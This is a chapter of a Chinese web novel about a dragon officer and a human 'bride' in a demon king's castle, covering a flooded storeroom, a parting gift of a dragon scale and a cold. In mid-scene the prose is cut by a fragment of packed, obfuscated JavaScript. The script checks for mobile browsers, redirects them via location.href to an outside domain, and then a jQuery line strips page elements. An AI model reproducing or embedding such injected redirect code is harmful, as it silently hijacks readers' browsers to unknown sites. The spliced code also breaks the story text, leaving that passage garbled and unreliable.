龙紧急撤退当然不是因为不好意思，而是突然想起来有正事。


    没、没错，就是这样。爱尼菈卡正好叫她去看一眼那个关人的旧仓库，她只是忽然想起来这件事赶去处理。


    听说场面相当惨烈。无所谓，就算缇瑞把仓库弄成一锅粥，这也都是狮列的错，就像打架打输的那位不但负责收拾场地，还要可悲地自己掏钱维修魔王城大厅一样。所以拉诺思其实根本没把这事多放在心上，轻轻松松地前往目的地。


    何况缇瑞能把那里弄得多糟呢，哈哈，哈——


    龙站在了水中。


    “这是……怎么回事？”


    “啊……大人，您总算来了……”几位骷髅的肋骨上滴答着水珠，地面上的水已经完全没过了它们脚的跟骨，诸位弓着骨架的样子显得十分疲惫，“殿下说这里的东西放久了，不稳定，容易失控……”


    看出来了。不管是仓库门口涌水不断的喷泉壶，还是无风自抖的门，还是内部发出的可疑响声的大桶，怎么看都不像是正常的场景。


    拉诺思迟疑地看着那个隐隐膨胀的桶：“……那里面是什么？”


    骷髅也迟疑地扭转头骨：“回大人……是……是很复杂的一些东西……”


    听起来不是什么让人安心的答案啊。


    骷髅们忙碌地排水，并按拉诺思的指示把那罐子先扔到花圃附近，水源是个好东西——但也别放得太近，要把花都淹了园丁会拿着剪刀满城堡发疯的。


    这扇第一时间招供了全部的门也被一并拆下来搬走，拉诺思伸手在门板上划了一个痕迹做记号，门大呼小叫地像自己被掰成了两半。拉诺思冷冷看它一眼，门一下噤了声。


    最后就剩那个桶子了。


    很明显，在她来之前就没有想靠近那里的家伙。也是，那个区域正散发着一股不可忽视的不对劲感，就算是最没脑子的史莱姆也都绕着那儿走，魔物的本能在某些时候还是能救它大命的——给她等等。


    “谁把史莱姆放过来的？”


    “大人，是它们自发寻找新娘大人时摸过来的。”骷髅兵还补充，“它们跑得遍地都是，不止在这里的几只。”


    缇瑞她到底喂过多少史莱姆啊……


    要不是爬得慢了点，恐怕最先找到人的就是它们了。


    拉诺思把史莱姆赶出屋。于是小果冻们不情愿地挪出去了，其中一只半透明的身体里还在努力溶解地上的硬币，但看样子并不顺利。不过这东西随便它们分解，不必心疼，这种货币太过古旧，早已无法流通使用，只是看着金灿灿的好看，没有实际用处。


    就算能用，会眼睛一亮的也只有又能填充国库的爱尼菈卡。拉诺思只希望这家伙快点把欠她的奖金都快点还上，而不是看这家伙沉重地看一眼别人带给她的金币样本，穷酸地咬一下，转头说都送给她当收藏品以安抚她在此次事件的精神损失。


    那好吧……


    然后她就合情合理地被派来收拾仓库了。这个家伙！


    拉诺思拉着脸走到了桶边，扭开了盖子，低头看了一眼。


    哦。


    她马上把盖儿扭了回去，还多卡了几个度。


    “……把这个也拿走吧，送到二四门前，敲门，让她解决。”


    有两个骷髅应了，合伙捧着桶往炼金术师的房间赶去。


    爱尼菈卡还让她顺便看看有没有别的奇怪或有用的东西。拉诺思便也随意翻了翻，暂且没有太在意的。


    剩下的看起来也没什么危险，就交给骷髅们继续清理就好。


    “你在这儿。”


    帕梅的声音从背后传来。一回头，她正走进来，挑剔地打量着屋内。


    “弄得有够乱。”帕梅评价。


    拉诺思只顾继续随手扒拉：“都是些没用的东西。”


    帕梅敷衍地笑笑，抱胸旁观拉诺思捡垃圾。


    “听说你怕人家冷，给她披了块窗帘？”


    拉诺思“唔”了一声，一抬眼注意到了这屋的光源，便把那个温暖的发光球拿到了手里。


    帕梅继续问：“你怎么不直接把外衣脱下来给她？”


    “嗯？”拉诺思相当困惑地转过身，似乎对方问了个傻问题，“因为这件衣服很薄啊。”


    “……是吗。”是这个道理吗？难道说这是实用主义？


    “真的很薄。话说，就算考虑到我怕热，爱尼菈卡也绝对在制服方面偷工减料了……”


    “算了吧，军礼服好看就够了。女仆装还都用的旧魔王留下的那些呢。”


    两人不约而同地沉默一会儿，为魔王城的贫穷。


    不过这不影响拉诺思自己有很多金库，顺便当上了爱尼菈卡的大债主。


    “我部下碰到的那把扫帚呢？”


    “敲了我一棍，之后不知道跑哪去了。”拉诺思瞥了一眼身后，发现没有骷髅在附近，心安理得地把小圆灯放在了怀里，“这些东西，爱尼菈卡说是放久了不稳定。”


    “是么。”


    屋里安静几秒。


    拉诺思打个响指，小型隔音法术突然展开。


    “诊疗室什么时候配备的人类使用的药膏？”


    帕梅沉默，而后摇头，道：“回去再说。”


    *


    次日，魔王城客房。


    “……阿嚏。”


    缇瑞醒后就感觉大事不妙，嗓子干涩不说，感觉脑袋也有点懵懵的。


    湿着衣服走那点儿路就感冒了？呃，对自己来说还真是意料之内啊……


    好在并不严重。她看看镜子里的自己，除了一副没睡醒的样子外一切如常。试试声音，也还听不出鼻音。


    缇瑞半是叹息，半是松了口气。


    总之先把那头麻烦的龙送走，不然那家伙又要想这想那。


    埃芮丝进来给她梳妆，这时候缇瑞从镜子里看见碳碳悄悄从篮子里探出了头。


    ……这么说，昨天晚上它一直在篮子吗。


    因为它窝在篮子内的小被子下面，所以缇瑞没注意到。不过，大体回想下，昨晚好像也没说什么不可以被其他人听到的事，不算那么私密的谈话……虽说一旦意识到当时还有别人在还是有点怪怪的。


    碳碳睁大清澈而血红的眼睛，就当自己从假死的状态重获新生，是个完全没有昨晚记忆的球。没办法，昨晚躲在被窝里前半段听得开心，等注意到最好回避时自己已经失去了若无其事地滚蛋的时机，比起打断还不如装死，虽然次日早上是逃不了萌混过关。


    它晃晃悠悠地飞过来，几乎从空中的轨迹里看得见心虚二字，最后停到了梳妆台旁边。


    “早、早安，新娘大人~”恶魔球夹着嗓子，蹭蹭缇瑞的肩膀，橡胶与布料发出了摩擦声。


    在埃芮丝茫然的注视下，缇瑞头也不转，对着镜子的映像精准定位，把它抓到手里捏来捏去，大有用揉搓使之失忆的打算。碳碳在手里形变，发出“咕吱咕吱”的怪声。


    当然碳碳没办法真的失忆，但它装傻装得和真的一样，就原谅它了。


    吃完早饭后缇瑞发现碳碳还在自己屋里到处飞，疑惑地问：“你不去准备吗？”


    “什么呀？”


    “拉诺思阁下出差，你不跟着一起吗？”


    碳碳飞到旁边，努力可爱地眨眨眼睛：“不啊，我想在这里陪您。”


    缇瑞：“……哦。”


    碳碳的可爱战略并不起作用，它认清了自己不适合这一套，乖乖认命：“而且拉诺思大人也允许我一直留在这里的。别担心！拉诺思大人不在这段时间，我一定寸步不离保护您！”


    寸步不离？听起来好粘人，婉拒。


    “不要。”


    并没有委婉。碳碳伤心地瘫在桌上泪流成河。


    *


    没过多久，拉诺思敲响了房门，报告自己准备出发了。


    缇瑞多喝了杯水，润润嗓子，才走出来。拉诺思老实地站在门口等她，见她开了门先观察了一会儿，问：“昨晚休息不好吗？”


    “还好。”没人对她的头动手动脚就更好了。


    而且，也不知道是谁拉着人家谈话叭叭到半夜……


    两人并肩走过魔王城走廊。碳碳也跟过来，紧紧缀在缇瑞身后不远，如约践行“寸步不离”原则。


    半路上拉诺思还特意绕路到魔王城大厅，开门看了一眼。只见里面几个女仆监工正在聊天，而狮列正在老老实实补大厅的柱子的裂纹，于是拉诺思满意地收回脑袋。


    缇瑞在旁边自然也看得清楚。说起来昨天在诊疗室的对话最后不了了之，最后狮列想怎样也没有说明白。不好说拉诺思离开之后他会不会再找上门来继续……


    虽然拉诺思有说他不会再来打扰，但如果又有魔王的默许就不好说了。


    而默许的事，也不知道拉诺思知不知情。


    没多久，两人已经走到了停着马车的空地上。车厢上似乎还有狮子头侧脸的标志，红色染料一涂，还挺显眼。大概这是狮列来时坐的车吧。


    拉诺思这次没那么磨蹭，只是在上车前让她伸出手。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834749|175406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >缇瑞照做，然后便看见龙小姐往她手心里放了一个什么东西，很小，很轻。


    “……给你的。”拉诺思别扭的低声说完，立马转身逃进了车厢。


    缇瑞低头看一眼，是个扇形的银白色小片，看起来很光滑，有点像在沙滩捡起的贝壳的内面。


    不过，比起贝壳……这是鳞吧？很眼熟，这不是和龙小姐尾巴上的鳞片一个样么。


    缇瑞再抬头，却没从车窗中看见拉诺思。这简单，缇瑞绕着窗户又走了几步，换个角度再往里看，果然看见了躲在之前视线死角里的龙。


    “那个，这是什么呢？”


    “……”拉诺思低着头假装在忙。


    “阁下？”


    “那个是……有用的东西。”


    啊是吗？好简单易懂的介绍。她还以为昨晚龙小姐睡不着闲着没事从身上薅的……怎么可能啊。


    缇瑞看了眼碳碳，碳碳则露出智慧的眼神，表示自己知道这东西怎么有用，不问这个麻烦的拉诺思大人也没问题。


    那太好了。缇瑞向碳碳点点头。


    拉诺思没看见这边的视线交流，只板着脸，声音故作冷淡：“我走了。”


    几辆马车即刻转动了轮子，起步中透露出一种紧急撤退的意味。


    于是缇瑞抬手摆了摆：“注意安全，拉诺思阁下。”


    “嗯，嗯唔……”


    最后发出奇怪的声音真令人担心啊。缇瑞站在原地，目送那辆发出怪声的马车走出好远。


    接下来干什么好呢？拉诺思走了之后，也没有晚饭后的散步或者外出陪同了，这几天自己应该只能待在屋里……从这个角度一想，缇瑞对荒原上那个越来越小的黑点居然生出了几分怅然。


    等要往回走时，一转头发现碳碳满眼欣慰地看着她，涕零如屋檐滴雨，滴答个不停。


    ……这么小个球，泪腺是占了它内部的三分之二吗。


    缇瑞没问它在欣慰什么，总感觉是个听到后会想捏扁它的答案。


    不过往回走时，缇瑞发现自己有点微妙的别扭。有一丝陌生的不安，一种走着走着就可能被拐走的错觉。


    也是，前一阵子在魔王城走来走去时，出于安全考虑拉诺思必然粘在旁边，再加上昨天刚发生了那种事，一下子还有点不习惯自己独自出来了。


    虽然现在还有碳碳跟在旁边，但这位不怎么顶用，不算。


    手里还有坚韧又凉丝丝的触感，是她握着的那片龙鳞。


    虽然好奇它的用处，但缇瑞准备回屋再问碳碳详细，这种事还是在屋里谈比较保险。


    走着走着，缇瑞突然冒出来个疑问：


    “为什么拉诺思阁下不直接飞过去？”拉诺思不是龙么，坐马车比她自己走更慢吧？


    “噢，这个呀。”碳碳回答，“飞当然更有效率，但魔界有约定俗成的规则，龙如果直接以原型示人有正式宣战的意思，所以一般不那样做啦。”


    “哦。”疑问得到了解答。不过这么一说，她确实还从没见过拉诺思的原型。


    不知是不是错觉，回去的路上魔王城变得比出来时热闹很多。和她打招呼魔物们不少，只是，上午的魔物看起来没晚间那么精神，一点儿看不出来是昨晚闹着要把魔王城翻个底朝天的那帮家伙。


    D夫人从墙壁中穿出来，围着她担心地问她有没有事。缇瑞刚摇头，就很不凑巧地打了个喷嚏。


    被D夫人和碳碳盯了一会儿，像是没睡好但其实是有些病蔫蔫的缇瑞乖乖地表示自己会去趟诊疗室。


    “您原来不舒服吗！”碳碳小题大做地逼近她大喊，“怎么不说呢！我们现在就过去！”


    缇瑞揉揉鼻子，平淡道：“应该是昨天受了凉，不是大事。”说得和自己忽视了绝症前兆似的，她还分不清普通感冒和异常的身体不适么。


    而且她本来就打算一会儿就去看病的……


    还是被诸位押着送到了诊疗室。没过多久，得到消息的埃芮丝也赶了过来……顺便还有得到消息的其他魔物们。


    施纳贝尔在调感冒药剂时，阿蛛望着满满当当的诊疗室憋笑。碳碳、埃芮丝和D夫人就在身旁，勒米和大绿等厨房组成员更不必说，再有便是常碰见的史莱姆和粉绷带人和鸡怪蛙怪等等正揪心地往围在中间椅子上的人类投去担心的视线。


    甚至小蘑菇人混入其中还露面幸灾乐祸了一瞬，随即被扔出屋外。


    只是有点嗓子痛的缇瑞木着脸，在包围中仿佛体会到了某种令人感动的关怀……比如临终关怀。